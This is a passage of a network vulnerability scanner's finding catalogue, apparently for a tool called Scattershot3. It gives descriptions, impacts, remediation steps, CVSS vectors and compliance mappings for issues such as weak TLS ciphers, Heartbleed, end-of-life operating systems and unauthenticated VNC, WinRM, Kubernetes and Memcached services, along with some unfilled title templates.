Impact: Without server-enforced cipher order, the client's cipher preference is used, which may select weaker ciphers over stronger alternatives. An attacker can manipulate the client to negotiate weak ciphers through downgrade attacks.
Remediation: Enable server-side cipher suite ordering. On Apache: SSLHonorCipherOrder On. On nginx: ssl_prefer_server_ciphers on. Define a strong cipher list that places AEAD ciphers (ECDHE+AESGCM, ECDHE+CHACHA20) first and excludes weak ciphers entirely.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
MEDIUM SS3-103 — SSL/TLS Ciphers: Obsolete Ciphers
Description: The TLS server supports one or more obsolete cipher suites that have been removed from TLS 1.3 and marked as prohibited or deprecated by RFC 8996 and NIST SP 800-52r2. Obsolete cipher suites include those using NULL encryption, EXPORT key exchange, RC4, MD5 MACs, anonymous DH (aNULL/eNULL), or IDEA. Support for these ciphers indicates the server has not been hardened against known cryptographic attacks and may be negotiating weak encryption with vulnerable or misconfigured clients.
Impact: Obsolete cipher suites such as RC4 and CBC-mode ciphers are vulnerable to known cryptographic attacks including CVE-2013-2566 (RC4 key stream bias) and CVE-2015-2808 (Bar Mitzvah attack). An attacker performing passive traffic capture can recover plaintext from sessions negotiated with these ciphers, compromising the confidentiality of all transmitted data including credentials and session tokens.
Remediation: Audit and update the server's cipher suite configuration. Remove all NULL, EXPORT, RC4, MD5, anon, IDEA, and SEED ciphers. Use a tested cipher string such as the Mozilla TLS configuration generator (ssl-config.mozilla.org) set to 'Intermediate' or 'Modern'. Verify the final cipher list with: openssl s_client -connect <host>:443.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
CRITICAL SS3-104 — SSL/TLS Vulnerability: Heartbleed (CVE-2014-0160)
Description: The target server is confirmed vulnerable to Heartbleed (CVE-2014-0160). The OpenSSL heartbeat extension does not properly validate the length field in TLS heartbeat requests, allowing an unauthenticated attacker to read up to 64 KB of server process memory per request. Repeated exploitation can expose TLS private keys, session tokens, plaintext credentials, and other sensitive in-memory data without leaving log entries. This vulnerability is distinct from SS3-010 (which covers testssl detection) — this entry is raised when the Scattershot3 Heartbleed probe module independently confirms the vulnerability.
Impact: Heartbleed (CVE-2014-0160) is a critical memory disclosure vulnerability in OpenSSL that allows an attacker to read up to 64KB of server memory per request without authentication or logging. Leaked memory routinely contains private keys, session tokens, and user credentials, enabling complete compromise of the affected server.
Remediation: Upgrade OpenSSL to version 1.0.1g or later (or 1.0.2 branch). Revoke and replace the server's TLS certificate and private key immediately — the private key must be assumed compromised. Invalidate all active user sessions. Reissue any client certificates if a client PKI is in use.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A06:2021
INFO SS3-105 — OS Version Detected
Description: The operating system name and version were detected via service banner analysis, TCP/IP stack fingerprinting, or SMB/RPC responses. The identified OS version is recorded for CVE correlation, EOL status assessment, and engagement documentation. OS version information guides patch level assessment in subsequent phases.
Remediation: This is an informational finding. Review the detected OS version against vendor support timelines. Initiate patch level assessment to confirm OS patch currency. Suppress OS version information from public-facing service banners where possible.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
CRITICAL SS3-106 — OS End-of-Life
Description: The operating system running on this host has reached End-of-Life (EOL) status and is no longer receiving security updates or patches from the vendor. EOL operating systems accumulate unpatched critical vulnerabilities indefinitely and are frequently targeted by automated exploit tools and ransomware families. Any new vulnerability disclosed after the EOL date will remain permanently unpatched on this host, representing an ever-growing attack surface.
Remediation: Upgrade the operating system to a supported version immediately. If upgrade is not immediately feasible, isolate the host from untrusted networks, implement compensating controls (host-based IPS, network segmentation, application allowlisting), and create an urgent remediation plan with a defined timeline.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, SA-22, CM-8
PCI DSS 4: 6.3.3, 12.3.4
HIGH SS3-107 — OS End-of-Life (Extended Support)
Description: The operating system is within its Extended Support (or Extended Security Updates) period, meaning the vendor continues to provide security patches but only under a paid extended support programme or with limited scope. Standard feature updates and non-security bug fixes may no longer be available. Extended support is a transitional state — the OS will reach full EOL at the extended support end date, and migrations to supported platforms should be planned urgently.
Remediation: Plan and execute an OS upgrade to a current, fully supported version within the extended support window. Verify that extended support is active and patches are being applied. Treat any end of extended support date as a hard deadline for migration and allocate project resources accordingly.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, SA-22, CM-8
PCI DSS 4: 6.3.3, 12.3.4
INFO SS3-108 — Software Version Detected
Description: A specific software version was detected on the target host via service banner, HTTP header, or application response fingerprinting. The detected version is recorded for CVE correlation, EOL status assessment, and public exploit research. Software version disclosure aids an attacker in selecting targeted exploit tooling without active exploitation.
Impact: Disclosed software versions allow an attacker to search vulnerability databases for known CVEs affecting that specific version, reducing the effort required for targeted exploitation. Version information also reveals the organization's patching cadence and maintenance practices.
Remediation: This is an informational finding. Cross-reference the detected version against the NVD and vendor security bulletins for known vulnerabilities. Suppress version information from service banners and HTTP headers where possible to reduce information exposure.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
HIGH SS3-109 — Known Vulnerability
Description: A known vulnerability was identified in a service, application, or operating system component on the target host, matched by version fingerprint or active probe against a vulnerability database. The associated CVE, affected component, version, and evidence are recorded in the finding details. Known vulnerabilities matched by version fingerprint may or may not be exploitable depending on the specific build, configuration, or mitigating controls present.
Remediation: Apply the vendor-supplied patch or upgrade for the identified CVE. Verify the patch resolves the specific CVE by checking the vendor security advisory. If patching is not immediately possible, implement compensating controls (network segmentation, WAF, IDS/IPS signatures) and prioritise remediation based on CVSS score and exploitability.
Effort: Medium
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1210 (Lateral Movement)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3
HIGH SS3-110 — Vulners CVE Match
Description: The Vulners vulnerability intelligence API returned a CVE match for the service version detected during port scanning. Vulners correlates Nmap service version banners against a comprehensive database of public CVEs and exploits. The reported CVSS score, CVE identifier, and exploit availability are drawn from the Vulners API response and are recorded in the finding evidence. The actual exploitability may vary depending on target configuration, patch level, and compensating controls.
Remediation: Review the specific CVE(s) identified and apply vendor patches. Consult the NVD entry and vendor security advisory for detailed remediation guidance. Prioritise findings with associated public exploits. Verify patch currency via authenticated vulnerability scanning after remediation.
Effort: Medium
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1210 (Lateral Movement)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3
INFO SS-001 — [Nuclei] {title}
INFO SS-002 — Apache Tomcat Manager Login Page Detected: {url}
INFO SS-003 — Discovery: Default Webpage
INFO SS-004 — Deprecated Protocol Enabled: {_norm_proto}
INFO SS-005 — Deprecated Protocol Enabled: {_TESTSSL_PROTO_IDS[_tsf_id]}
INFO SS-006 — Deprecated Protocol Enabled: {proto}
INFO SS-007 — EOL Software (Extended Support): {software_name} {version}
INFO SS-008 — EOL Software: {software_name} {version}
INFO SS-009 — Insecure Protocol Detected: {_insec_name}
Impact: Unencrypted protocol services expose all transmitted data to passive interception and active manipulation by network-level attackers. Credentials, tokens, and business data are transmitted in cleartext.
INFO SS-010 — IPMI Cipher Suite 0 Auth Bypass Confirmed — user={user}
INFO SS-011 — Known Vulnerability: {software_name} {version} — {cve_desc}
INFO SS-012 — libSSH Authentication Bypass (CVE-2018-10933) — v{ver}
INFO SS-013 — Metasploit Module Available: {cve}
INFO SS-014 — Missing Security Header: {header_name}
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks. Each absent header represents a defense-in-depth layer that an attacker can bypass.
INFO SS-015 — MySQL CVE-2012-2122 Authentication Bypass Risk (v{server_ver})
INFO SS-016 — NFS Export Enumerated: {_export_path}
INFO SS-017 — OS End-of-Life (Extended Support): {label}
INFO SS-018 — OS End-of-Life: {label}
INFO SS-019 — OS Version Detected: {final_os}
INFO SS-020 — Public Exploit Available: {cve}
INFO SS-021 — Responder Captured {ht} Hashes
INFO SS-022 — Responder Captured {proto} Credentials
INFO SS-023 — SMB Share Enumerated: \\\\{ip}\\{share}
INFO SS-024 — SMB Share Exists (No Access): {share_name}
INFO SS-025 — SMB Share Read Access: {share_name}
INFO SS-026 — Software Version Detected: {_sw_label}
Impact: Disclosed software versions allow an attacker to search vulnerability databases for known CVEs affecting that specific version, reducing the effort required for targeted exploitation. Version information also reveals the organization's patching cadence and maintenance practices.
MEDIUM SS-027 — SSL/TLS Ciphers: Obsolete Ciphers
INFO SS-028 — SSL/TLS Vulnerability (Potential): {_tsf_id}
INFO SS-029 — SSL/TLS Vulnerability: {_tsf_id}
INFO SS-030 — SSL/TLS Vulnerability: {name}
INFO SS-031 — Valid Credentials via Brute Force ({svc.upper()})
INFO SS-032 — VMware ESXi Management Interface Exposed{ver_str}{build_str}
INFO SS-033 — Vulners: {cve_id} (CVSS {score})
INFO SS-034 — WordPress Core Vulnerability: {vuln_title[:80]}
INFO SS-035 — WordPress Plugin Vulnerability: {vuln_title[:65]} ({plugin_slug})
INFO SS-036 — WordPress Theme Vulnerability: {vuln_title[:70]} ({theme_slug})
INFO SS-037 — FTP Anonymous Login Permitted
INFO SS-038 — Heartbleed (CVE-2014-0160)
INFO SS-039 — Heartbleed (CVE-2014-0160) Vulnerability Detected
Remediation: Upgrade OpenSSL to 1.0.1g or later (or 1.0.2 branch). Revoke and reissue all TLS certificates that were in use on affected systems. Rotate all credentials (passwords, session tokens, private keys) that may have been exposed. Consider notifying affected users.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1552 (Credential Access), T1040 (Credential Access)
NIST 800-53: SI-2, SC-8, RA-5
PCI DSS 4: 6.3.3
CISA KEV
INFO SS-040 — Discovery: Hostname
Impact: Discovered hostnames reveal the hosting provider and infrastructure relationships, enabling an attacker to fingerprint the technology stack and identify potential attack vectors specific to that platform. This reconnaissance data is a prerequisite for targeted exploitation and social engineering campaigns.
Remediation: Informational finding — no immediate remediation required. Ensure discovered hostnames and subdomains are included in the asset inventory and covered by patch management and security scanning. Decommission or remove DNS records for unused or orphaned subdomains to prevent subdomain takeover.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
MITRE ATT&CK: T1590.001 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO SS-041 — LLMNR/NBT-NS Broadcast Poisoning Possible
Remediation: Disable LLMNR and NBT-NS via Group Policy. Require mutual authentication (SMB signing). Enable Extended Protection for Authentication (EPA). Deploy network monitoring to detect Responder activity.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: IA-3, SC-8, CM-7
PCI DSS 4: 1.3.2, 2.2.4
INFO SS-042 — Misconfigured Secure Cookie Attribute: SameSite
Remediation: Set HttpOnly, Secure, and SameSite=Lax (or Strict) attributes on all cookies containing session tokens or sensitive values. For SameSite=None (cross-site use cases), always pair with the Secure flag. Review all Set-Cookie directives in application responses systematically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
INFO SS-043 — Missing Secure Cookie Attribute: HttpOnly
Remediation: Set HttpOnly, Secure, and SameSite=Lax (or Strict) attributes on all cookies containing session tokens or sensitive values. For SameSite=None (cross-site use cases), always pair with the Secure flag. Review all Set-Cookie directives in application responses systematically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
INFO SS-044 — Missing Secure Cookie Attribute: SameSite
Remediation: Set HttpOnly, Secure, and SameSite=Lax (or Strict) attributes on all cookies containing session tokens or sensitive values. For SameSite=None (cross-site use cases), always pair with the Secure flag. Review all Set-Cookie directives in application responses systematically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
INFO SS-045 — Missing Secure Cookie Attribute: Secure
Remediation: Set HttpOnly, Secure, and SameSite=Lax (or Strict) attributes on all cookies containing session tokens or sensitive values. For SameSite=None (cross-site use cases), always pair with the Secure flag. Review all Set-Cookie directives in application responses systematically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
INFO SS-046 — Missing Security Headers
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks including XSS, clickjacking, and MIME-type confusion. Implementing these headers is a low-effort, high-value hardening measure.
INFO SS-047 — MSSQL Vulnerability (msdat)
Remediation: Disable or rename the SA account; set a strong password if it must remain enabled. Disable xp_cmdshell stored procedure. Restrict MSSQL port (1433/1434) to application servers only. Apply all SQL Server security patches. Enforce Windows Authentication mode where possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7
PCI DSS 4: 8.2.1, 8.3.1
INFO SS-048 — Open Port
Impact: Each discovered open port represents an accessible network service and a potential entry point for attackers.
INFO SS-049 — Discovery: Open Ports
Impact: Identified open ports map the external attack surface and reveal which services are accessible from the network. Each open port is a potential entry point; services on unexpected ports may indicate shadow IT or misconfigured infrastructure.
INFO SS-050 — Oracle Database Vulnerability (odat)
Remediation: Change all Oracle default credentials immediately. Apply all Oracle Critical Patch Updates. Restrict Oracle listener port (1521) to application servers only. Disable Oracle TNS listener remote administration. Implement Oracle Database Vault to restrict privileged access.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access), T1190 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7, SI-2
PCI DSS 4: 8.2.1, 8.3.1, 6.3.3
INFO SS-051 — Plaintext Credentials in Web File
INFO SS-052 — Reflected Cross-Site Scripting (XSS)
Remediation: Encode all output in the appropriate context (HTML, JS, CSS, URL). Use Content Security Policy headers. Validate and sanitize input server-side.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
INFO SS-053 — Responder Captured Plaintext Credentials
INFO SS-054 — SMB Signing Disabled or Not Required
INFO SS-055 — SNMP Default Community String Accepted
INFO SS-056 — SQL Injection (Error-Based)
Remediation: Use parameterized queries or prepared statements. Never concatenate user input into SQL strings. Apply least-privilege DB accounts. Deploy a WAF with SQLi rules.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
INFO SS-057 — Discovery: SSL/TLS Certificate
Impact: Certificate details including issuer, validity period, subject alternative names, and key parameters provide an attacker with infrastructure intelligence. This information reveals hosting relationships, internal hostnames, and certificate management practices that inform targeted attacks.
INFO SS-058 — SSL/TLS Certificate: Self-Signed
Impact: Self-signed certificates are not validated by any trusted certificate authority, meaning clients cannot verify the server's identity. An attacker can trivially generate their own self-signed certificate and perform man-in-the-middle attacks without detection.
INFO SS-059 — SSL/TLS Ciphers: No Cipher Order Configured
INFO SS-060 — SSL/TLS DNS: Missing CAA Record
Impact: Without a CAA (Certificate Authority Authorization) DNS record, any certificate authority can issue certificates for the domain. An attacker who compromises a less-secure CA or exploits a CA validation flaw can obtain a legitimate certificate for the domain, enabling transparent man-in-the-middle attacks that bypass certificate validation.
Remediation: Add a DNS CAA record for the domain restricting certificate issuance to your approved CAs. Include an iodef entry to receive notifications of unauthorised issuance attempts. Propagate the record to all DNS zones including subdomains that have independent certificate requirements.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1588.004 (Resource Development)
NIST 800-53: SC-20, SC-23
PCI DSS 4: 4.2.1
INFO SS-061 — SSL/TLS Vulnerability: Lucky13 [UNCONFIRMED]
Impact: LUCKY13 (CVE-2013-0169) is a timing side-channel attack against CBC-mode cipher suites in TLS. By measuring the time taken to process specially crafted records, an attacker can recover plaintext bytes from encrypted sessions. While practical exploitation requires significant network access and is mitigated by modern TLS implementations, the presence of vulnerable cipher suites indicates incomplete hardening.
INFO SS-062 — SSL/TLS Vulnerability: insecure_redirect
INFO SS-063 — SSL/TLS Vulnerability: ipv4_in_header
INFO SS-064 — SSL/TLS Vulnerability: secure_client_renego
INFO SS-065 — SSL/TLS Vulnerability: TLS_misses_extension_23
INFO SS-066 — Weak Cipher Category Offered
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
INFO SS-067 — SSL/TLS Ciphers: Weak Cipher
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
INFO SS-068 — Weak or Default Credentials Accepted
Remediation: Change all default credentials immediately on deployment. Enforce password change on first login. Maintain an asset inventory to track devices/services with known default credentials.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.1
CISA KEV
HIGH SS3-179 — SSH Vulnerability: {cve_id}
Description: ssh-audit matched the SSH server's banner against its built-in CVE database and identified one or more known vulnerabilities affecting the running version of OpenSSH, Dropbear, or Tectia SSH. The CVE ID, CVSS score, and a short description are recorded in the finding Output field; full details are available in the saved ssh-audit JSON report.
Impact: Depending on the specific CVE, an attacker may achieve remote code execution, authentication bypass, user enumeration, host-key spoofing, denial of service, or memory disclosure. Banner-matched CVEs are pre-exploit indicators — the host running an affected version is the necessary precondition for exploitation, even when no public PoC has been tested against this specific deployment.
Remediation: Patch the SSH server to a release that fixes the CVE. For OpenSSH, upgrade via the operating system package manager (apt / dnf / pkg / yum). For embedded SSH stacks (Dropbear, Tectia, network appliances), apply vendor firmware updates. Where patching is not immediately feasible, restrict SSH access to trusted source IPs via firewall and monitor authentication logs for exploit attempts.
Effort: Moderate
NIST 800-53: SC-8, SC-13, SI-2
INFO SS3-180 — SSH Configuration: Algorithm Hardening
Description: ssh-audit reports informational-severity recommendations for the SSH server's algorithm configuration. These are not vulnerabilities but represent opportunities to harden the configuration further by adding modern algorithms or removing older but still-secure ones.
Impact: No direct impact at this severity. Addressing these recommendations improves the long-term cryptographic posture of the SSH service and reduces the surface for future downgrade or algorithm-confusion attacks as cryptographic best-practice evolves.
Remediation: Review the ssh-audit recommendations in the Output field. Update sshd_config (or vendor-equivalent) to add the recommended modern algorithms (e.g. sntrup761x25519-sha512@openssh.com, curve25519-sha256) and remove deprecated algorithms not required for legacy client compatibility. Restart sshd and re-run ssh-audit to confirm the recommendations have been resolved.
Effort: Moderate
NIST 800-53: SC-8, SC-13, SI-2
CRITICAL SS3-181 — VNC: No Authentication Required
Description: The VNC server accepts connections with security type 1 (None), allowing any remote user to connect without providing credentials. The RFB handshake confirms authentication is not enforced.
Impact: An attacker gains full interactive desktop access to the host without any credentials, enabling complete control of the system including file access, application execution, and keystroke capture.
Remediation: Configure VNC to require strong authentication. Use VNC password authentication at minimum; prefer certificate-based or OS-integrated authentication. Restrict VNC access to trusted networks via firewall rules and VPN.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1021 (Lateral Movement)
NIST 800-53: IA-2, AC-17, AC-3
PCI DSS 4: 2.2.1, 8.3.1
INFO SS3-182 — VNC: Authentication Required But Accessible
Description: A VNC service is accessible on the network and requires authentication. While authentication is enforced, the service is reachable for brute-force attacks.
Impact: VNC is reachable on the network, providing a target for credential brute-force attacks and potential exploitation of VNC implementation vulnerabilities.
Remediation: Restrict VNC access to trusted networks. Consider disabling VNC if not required or replacing with a more secure remote access solution.
Effort: Easy
CVSS Vector: N/A
NIST 800-53: AC-17
CRITICAL SS3-183 — WinRM: No Authentication Required
Description: The WinRM (Windows Remote Management) service responded to an unauthenticated SOAP/WS-Management request without requiring credentials, allowing remote command execution.
Impact: An attacker can execute arbitrary commands on the Windows host remotely without credentials, enabling full system compromise, data exfiltration, and lateral movement.
Remediation: Configure WinRM to require authentication (Kerberos or NTLM). Restrict WinRM access via Windows Firewall or GPO to trusted management networks only.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1021.006 (Lateral Movement)
NIST 800-53: IA-2, AC-17, AC-3
PCI DSS 4: 2.2.1, 8.3.1
INFO SS3-184 — Discovery: WinRM Service
Description: The WinRM service is active and responding on the network. Authentication is required but the service is reachable as an attack surface.
Impact: WinRM exposure provides a lateral movement target for attackers with valid credentials. Authentication methods exposed in WWW-Authenticate may guide attack strategy.
Remediation: Restrict WinRM access to trusted management networks via firewall rules. Disable WinRM if not operationally required.
Effort: Easy
CVSS Vector: N/A
MITRE ATT&CK: T1021.006 (Lateral Movement)
NIST 800-53: AC-17
MEDIUM SS3-185 — Insecure Protocol Detected: WinRM (Cleartext)
Description: WinRM is running on port 5985 (HTTP) without TLS encryption. Administrative credentials are transmitted in cleartext or weakly encoded over the network.
Impact: An attacker on the network path can intercept WinRM credentials via packet capture, enabling remote command execution on the managed host.
Remediation: Configure WinRM to use HTTPS (port 5986) with a valid TLS certificate. Disable the HTTP listener on port 5985.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SC-8(1)
PCI DSS 4: 4.2.1
HIGH SS3-186 — Telnet Service Exposed — Cleartext Protocol
Description: A Telnet service is exposed on the network. Telnet transmits all data including credentials in cleartext, making it trivially interceptable.
Impact: All data transmitted via Telnet, including usernames and passwords, can be captured by any attacker with network access. This enables credential theft and subsequent unauthorized access.
Remediation: Disable Telnet and replace with SSH for remote administration. If Telnet is operationally required, restrict access to trusted networks and monitor sessions.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1021 (Lateral Movement)
NIST 800-53: SC-8, SC-8(1), IA-2
PCI DSS 4: 2.2.1, 4.2.1
CRITICAL SS3-187 — Kubernetes API: Unauthenticated Access
Description: The Kubernetes API server is accessible without authentication. Unauthenticated requests can list, create, and modify cluster resources including pods, secrets, and deployments.
Impact: An attacker can fully compromise the Kubernetes cluster — deploying malicious containers, exfiltrating secrets (including cloud credentials and TLS keys), pivoting to other infrastructure, and achieving persistent backdoor access.
Remediation: Enable RBAC and configure API server authentication (certificates, OIDC, or webhook). Restrict API access to authorized networks. Never expose the API server to untrusted networks.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1610 (Execution), T1552.007 (Credential Access)
NIST 800-53: IA-2, AC-3, AC-6
PCI DSS 4: 2.2.1, 7.2.1
CRITICAL SS3-188 — Kubelet API: Unauthenticated Access
Description: The Kubelet API on port 10250 is accessible without authentication, allowing direct interaction with containers running on the node.
Impact: An attacker can list running pods, execute commands inside containers, and exfiltrate data from any container on the node without any credentials.
Remediation: Enable kubelet authentication and authorization (--authentication-token-webhook, --authorization-mode=Webhook). Disable the read-only port (10255).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1609 (Execution)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 2.2.1, 7.2.1
INFO SS3-189 — Kubernetes API Endpoint Detected
Description: A Kubernetes API endpoint was detected on the network. Authentication is enforced but the endpoint's presence confirms a Kubernetes deployment.
Impact: Confirms Kubernetes infrastructure for further targeted attacks. Version information may aid CVE exploitation.
Remediation: Ensure the Kubernetes API is not exposed to untrusted networks. Verify RBAC is properly configured.
Effort: Easy
CVSS Vector: N/A
NIST 800-53: CM-8
HIGH SS3-190 — Rsync: Anonymous Module Access
Description: The rsync daemon allows anonymous listing and potentially read/write access to shared modules without authentication.
Impact: An attacker can enumerate and download files from shared rsync modules, potentially accessing configuration files, credentials, source code, or sensitive data. Write access enables malware deployment.
Remediation: Configure rsync modules to require authentication (auth users + secrets file). Restrict access by IP via hosts allow/deny. Disable rsync if not required.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1039 (Collection)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.2.1
HIGH SS3-191 — Java RMI Registry Exposed
Description: A Java RMI registry is exposed on the network. The JRMI handshake was confirmed. Exposed RMI registries are vulnerable to deserialization attacks via ysoserial payloads.
Impact: An attacker can exploit Java deserialization vulnerabilities to achieve remote code execution on the server. Exposed RMI registries are a well-known exploitation vector with readily available tooling.
Remediation: Restrict RMI registry access to localhost or trusted networks via firewall rules. Implement JMX authentication. Use serialization filters (JEP 290) to prevent deserialization attacks.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A08:2021
MITRE ATT&CK: T1203 (Execution)
NIST 800-53: SI-10, AC-3
PCI DSS 4: 6.2.4
CRITICAL SS3-192 — Memcached: Unauthenticated Access
Description: Memcached is accessible without authentication. The 'stats' command returned data successfully, confirming no authentication is configured.
Impact: An attacker can read and modify cached data (including session tokens, credentials, and application data), flush the cache to cause a denial of service, or use the server for DDoS amplification attacks.
Remediation: Enable SASL authentication for Memcached. Bind to localhost or trusted interfaces only. Implement firewall rules to restrict access. Consider Memcached with TLS (1.5.13+).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: IA-2, AC-3, SC-7
PCI DSS 4: 2.2.1, 8.3.1
